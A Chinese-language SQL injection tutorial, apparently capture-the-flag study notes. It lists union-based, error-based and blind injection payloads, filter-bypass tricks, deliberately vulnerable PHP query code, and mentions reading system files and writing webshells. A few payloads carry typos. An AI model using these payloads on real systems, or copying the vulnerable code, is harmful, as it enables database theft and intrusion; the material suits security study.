什么是SQL注入
理解SQL注入
SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行
/sql.php?uid=1
/sql.php?uid=1 or 1=1
SQL注入:内联注入是指插入查询注入SQL代码后,原来的查询依然会全部执行
[注入]----->[原来的语句]=========>[原来的(注入)语句]
确认注入点
###字符串注入的特征值
测试字符串 | 变种 | 预期结果 |
---|---|---|
‘ | 触发错误。如果成功,数据库将返回一个错误 | |
1’ or ‘1’=’1 | 1’) or (‘1’=’1 | 恒为真条件。如果成功,将返回表中所有的行 |
value’ or ‘1’=’2 | value1’) or (‘1’=’2 | 空条件。如果成功,则返回与原来的值相同的结果 |
1’and ‘1’=’1 | 1’) adn (‘1’=1 | 恒为假条件。如果成功,则不返回表中任何行 |
1’ or ‘ab’ =’a’+’b | 1’) or (‘ab’=’a’+’b | Sql server串联。如果成功,则返回永真条件相同的信息 |
1’ or ‘ab’ =’a’ ‘b | 1’) or (‘ab’=’a’ ‘b | Mysql串联。如果成功,则返回永真条件相同的信息 |
1’ or ‘ab’=’a’||’b | 1’) or (‘ab’=’a’||’b | Oracle串联。如果成功,则返回与永真条件相同的信息 |
数字注入的特征值
测试字符串 | 变种 | 预期结果 |
---|---|---|
‘ | 触发错误。如果成功,数据库将返回一个错误 | |
1+1 | 2-1 | 如果成功,则返回与操作结果相同的值 |
value+1 | 如果成功,则返回与原来请求相同的值 | |
or 1 = 1 | 1) or (1-1 | 恒为真条件。如果成功,将返回表中所有的行 |
value or 1=2 | value) or (1=2 | 空条件。如果成功,则返回与原来的值相同的结果 |
and 1=2 | and (1=2 | 恒为假条件。如果成功,则不返回表中任何行 |
1’ or ‘ab’ =’a’+’b | 1’) or (‘ab’=’a’+’b | Sql server串联。如果成功,则返回永真条件相同的信息 |
1’ or ‘ab’ =’a’ ‘b | 1’) or (‘ab’=’a’ ‘b | Mysql串联。如果成功,则返回永真条件相同的信息 |
1’ or ‘ab’=’a’||’b | 1’) or (‘ab’=’a’||’b | Oracle串联。如果成功,则返回与永真条件相同的信息 |
显错注入
联合查询union select
使用联合查询需要注意,前面的字段需要和后面的字段数相等:
select id,user,content from users where id=1 union select 1,2,3
###order by
当我们使用 order by 4
成功,使用order by 5
报错时
就可以判断字段为4
order by是mysql中对查询数据进行排序的方法, 使用示例
select * from 表名 order by 列名(或者数字) asc;升序(默认升序) select * from 表名 order by 列名(或者数字) desc;降序
所以可以利用
order by
来查询字段数
#(注释符)
在语句末尾,注释查询语句后面的多余字符
select * from users where id = '1'
select * from users where id = '1' union select 1,2,3 #'
#
可以被--+
代替
information_schema库
Mysql5版本之后,由于information_schema
库的存在,注入攻击相对来说方便了许多,其使用方法通常为如下几种:
通过对Mysql的数据进行猜解获取敏感的信息,来进一步通过网站的各种功能获取控制权。
通过load_file()
函数来读取脚本代码或系统敏感文件内容,进行漏洞分析或直接获取数据库连接账号、密码。
通过dumpfile/outfile
函数导出获取webshell
利用上面的这几种方法,可以很轻易地攻击入侵Mysql5数据库搭建的网站服务器
简单的注入流程
?id=1'//测试注入点
?id=1' order by 5#//猜字段
?id=0' union select 1,2,3,4# //测试页面回显
?id=0' union select 1,database(),3,4# //查看数据库名
?id=0' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='db'#
?id=0' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name ='flag'#
?id=0' union select 1,content,3,4 from flag#
报错注入
报错函数
extractvalue()
作用是从目标xml种返回包含所查询值得字符串
id = 1 and (extractvalue(1,concat(0x5c,(select user()))));
updatexml()
作用就是改变(查找并替换)xml文档中符合条件的节点值
id = 1 and(updatexml(0x3a,concat(1,(select user())),1));
0x3a是:
的作用
而且updatexml()
较为常用
注入模板:
id = 1 and(updatexml(0x3a,concat(1,(select database())),1));
id = 1 and(updatexml(0x3a,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='db')),1));
id = 1 and(updatexml(0x3a,concat(1,(select group_concat(colunm_name) from information_schema.column where table_name='flag')),1));
id = 1 and(updatexml(0x3a,concat(1,(select content from flag)),1));
id = 1 and(updatexml(0x3a,concat(1,(select substring(content,1,10)from flag)),1));
exp()
当传递有一个大于709的值,函数exp()就会引起一个溢出错误
id = 1 and EXP(~(select * from(select user())a));
floor()
floor是mysql的一个取整函数
id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
盲注
布尔盲注
布尔盲注可能用到的函数
ascii()
括号中的参数转化为相应的ascii码
substr()
substr(a,b,c)从b位置开始,截取字符串a的c长度
mid()
用法与substr()
类似
length()
返回str字符串的长度
left(database(),1)
取database字符串的左边第一个
时间盲注可能用到的函数
if(a,b,c)
a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
sleep()
执行挂起一段时间
利用方式:
and if(mid(version(),1,1)=1,sleep(10),1)
盲注脚本
= = 百度上很多
自己写!!
绕过方法
大小写绕过
<?php
include ('config.php');
highlight_file(__FILE__);
$id=$_REQUEST["id"];
if (preg_match('/select|union/',$id)){
die('hack');
}
$result=mysqli_query($con,"SELECT first_name,lastname FROM users WHERE user_id='$id';");
$row =mysqli_fetch_array($result);
echo $row['firstname'].':'.$row['lastname'];
?>
if (preg_match('/select/union/',$id)){
die('hack');
}
因为这里没加/select/union/i 所以可以
sql语句是不区分大小写的少数情况下代码中没有过滤完整就可以使用大小写的方法绕过
双写绕过
<?php
include ('config.php');
highlight_file(__FILE__);
$id=$_REQUEST["id"];
$id=preg_replace('/select|union/i','',$id);
$result=mysqli_query($con,"SELECT first_name,lastname FROM users WHERE user_id='$id';");
$row =mysqli_fetch_array($result);
echo $row['firstname'].':'.$row['lastname'];
?>
代码中使用preg_replace()
函数对关键字进行替换,并且只进行了一次替换,可以使用双写的方法来绕过
空格绕过
<?php
include ('config.php');
highlight_file(__FILE__);
$id=$_REQUEST["id"];
if (preg_match('/ /i',$id)){
die('hack');
}
$result=mysqli_query($con,"SELECT first_name,lastname FROM users WHERE user_id='$id';");
$row =mysqli_fetch_array($result);
echo $row['firstname'].':'.$row['lastname'];
?>
当空格被过滤的情况下,可以使用:
/**/
/*!*/
%0a
%0b
%0c
%0d
%09
#号绕过
<?php
include ('config.php');
highlight_file(__FILE__);
$id=$_REQUEST["id"];
if (preg_match('/#/i',$id)){
die('hack');
}
$result=mysqli_query($con,"SELECT first_name,lastname FROM users WHERE user_id='$id';");
$row =mysqli_fetch_array($result);
echo $row['firstname'].':'.$row['lastname'];
?>
#
是注释符,可以用其他注释符绕过
--+
--
`
;
/**/
逗号绕过
<?php
include ('config.php');
highlight_file(__FILE__);
$id=$_REQUEST["id"];
if (preg_match('/,/i',$id)){
die('hack');
}
$result=mysqli_query($con,"SELECT first_name,lastname FROM users WHERE user_id='$id';");
$row =mysqli_fetch_array($result);
echo $row['firstname'].':'.$row['lastname'];
?>
逗号无法用替换法绕过,所以需要其他函数来绕过
union select 1,2#
等价于
union select * from (select 1)a join (select 2)b#
在大多数情况下、需要在盲注中绕过逗号
使用substr()
、mid()
这两个语句都可以使用from for来绕过
and ascii(mid((database()),1,1))=1#
等价于
and ascii(mid((database())from 1 for 1))=1#
sleep()绕过
sleep()
通常使用在盲注的延时注入中
如果sleep()
被ban,我们可以使用benchmark()
函数
##substr()绕过
substr()
通常也在盲注中
可以用mid()
、substring()
、left()
、right()
替换